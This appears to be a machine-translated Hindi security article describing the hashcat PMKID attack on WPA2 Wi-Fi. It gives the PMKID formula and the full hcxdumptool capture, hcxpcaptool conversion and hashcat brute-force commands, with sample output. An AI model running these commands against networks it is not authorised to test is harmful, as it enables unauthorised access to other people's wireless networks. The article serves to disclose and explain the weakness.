नई WPA2 हमले की तकनीक जिसमें एपी पर क्लाइंट की आवश्यकता नहीं होती है

हैशकट परियोजना के प्रतिभागियों ने WPA2 वायरलेस मानक के लिए एक नया हमला वेक्टर की खोज की, जिसे क्लाइंट और पहुंच बिंदु के बीच "हैंडशेक" के क्लासिक अवरोधन की आवश्यकता नहीं है। इस भेद्यता की पहचान नए WPA3 प्रोटोकॉल के संभावित सुरक्षा मुद्दों के अध्ययन के एक भाग के रूप में की गई थी।

मौजूदा हमलों से मुख्य अंतर यह है कि इस हमले में, पूरे 4-रास्ता EAPOL हैंडशेक पर कब्जा करने की आवश्यकता नहीं है। RSN IE (Robust Security Network Information Element) में एक नया हमला किया गया है, और इसके सफल प्रजनन के लिए एक फ्रेम EAPOL पर्याप्त है।

वर्तमान में, यह ज्ञात नहीं है कि यह विधि कितने राउटर्स के लिए काम करेगी, सभी मौजूदा 802.11i / p / q / r नेटवर्क के लिए, जिसमें रोमिंग फीचर्स चालू हैं, और यह आधुनिक रूटर्स का बहुमत है।

नए हमले की मुख्य विशेषताएं:

• ग्राहकों के लिए प्रतीक्षा करने की कोई आवश्यकता नहीं है - एपी पर सीधे हमला किया गया है;
• क्लाइंट और एपी के बीच पूर्ण 4-वे हैंडशेक के लिए प्रतीक्षा करने की आवश्यकता नहीं है;
• ईएपीओएल फ्रेम के पुन: प्रसारण की कमी;
• क्लाइंट से अमान्य पासवर्ड कैप्चर करने की संभावना को समाप्त करता है;
• दूरस्थ के दौरान EAPOL फ्रेम का नुकसान / क्लाइंट के साथ संचार की हानि को बाहर रखा गया है;
• गैर-गति और रीप्लेकाउंटर मूल्यों को ठीक करने की आवश्यकता की कमी के कारण उच्च गति;
• एक विशेष आउटपुट प्रारूप (pcap, hccapx, आदि) की कोई आवश्यकता नहीं है - कैप्चर किए गए डेटा को हेक्स स्ट्रिंग के रूप में संग्रहीत किया जाता है।

हमले का विवरण

RSN IE एक वैकल्पिक क्षेत्र है जिसे 802.11 प्रबंधन के भीतर पाया जा सकता है। RSN की विशेषताओं में से एक PMKID है।

PMKID की गणना HMAC-SHA1 के उपयोग से की जाती है, जहां कुंजी PMK है, और डेटा का एक हिस्सा निश्चित स्ट्रिंग लेबल "PMK नाम", एक्सेस प्वाइंट के मैक पते और स्टेशन के मैक पते का संयोजन है।

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) 

चूंकि पीएमके हमेशा की तरह चार-हाथ वाले ईएपॉल के समान है, यह एक आदर्श हमला वेक्टर है। हमें एपी से पहले EAPOL फ्रेम में सभी आवश्यक डेटा मिलते हैं।

हमले के लिए निम्नलिखित उपकरणों (वर्तमान संस्करणों) की आवश्यकता होगी:

• hcxdumptool
• hcxtools
• hashcat

PMKID को "हटाने" के लिए hcxdumptool चलाएँ:

 $ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status 

 start capturing (stop with ctrl+c) INTERFACE:...............: wlp39s0f3u4u5 FILTERLIST...............: 0 entries MAC CLIENT...............: 89acf0e761f4 (client) MAC ACCESS POINT.........: 4604ba734d4e (start NIC) EAPOL TIMEOUT............: 20000 DEAUTHENTICATIONINTERVALL: 10 beacons GIVE UP DEAUTHENTICATIONS: 20 tries REPLAYCOUNTER............: 62083 ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69 

फ़ाउंड पीएमकेआईडी आपको हमले के सफल समापन (औसत 10 मिनट) की सूचना देगा:

 [13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4] [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206] [13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID] 

जिसके बाद प्राप्त आंकड़ों को परिवर्तित करना आवश्यक है:

 $ ./hcxpcaptool -z test.16800 test.pcapng 

 start reading from test.pcapng summary: -------- file name....................: test.pcapng file type....................: pcapng 1.0 file hardware information....: x86_64 file os information..........: Linux 4.17.11-arch1 file application information.: hcxdumptool 4.2.0 network type.................: DLT_IEEE802_11_RADIO (127) endianess....................: little endian read errors..................: flawless packets inside...............: 66 skipped packets..............: 0 packets with FCS.............: 0 beacons (with ESSID inside)..: 17 probe requests...............: 1 probe responses..............: 11 association requests.........: 5 association responses........: 5 authentications (OPEN SYSTEM): 13 authentications (BROADCOM)...: 1 EAPOL packets................: 14 EAPOL PMKIDs.................: 1 1 PMKID(s) written to test.16800 

जो रूपांतरण के बाद निम्न रूप लेगा:

 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a 

जो निम्न डेटा प्रकारों के हेक्स-मान हैं:

 PMKID*MAC AP*MAC Station*ESSID 

तब यह हैशटैट उपयोगिता के लिए "फ़ीड" करने के लिए बनी हुई है (हाँ, अब तक बिना किसी जानवर के) और परिणाम की प्रतीक्षा करें:

 $ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!' 

यह तकनीक कम प्रभाव कारकों के कारण अधिकांश वायरलेस उपकरणों पर हमले को सरल और तेज करती है।

पुनश्च: यह भेद्यता मुख्य रूप से घर / SOHO उपकरणों को प्रभावित करती है, कॉर्पोरेट सेगमेंट में, एक नियम के रूप में, RADIUS कुंजी के साथ अधिक विश्वसनीय MGT WPA2 एंटरप्राइज का उपयोग किया जाता है।

सूचना सुरक्षा केंद्र, जेट इन्फोसिस्टम्स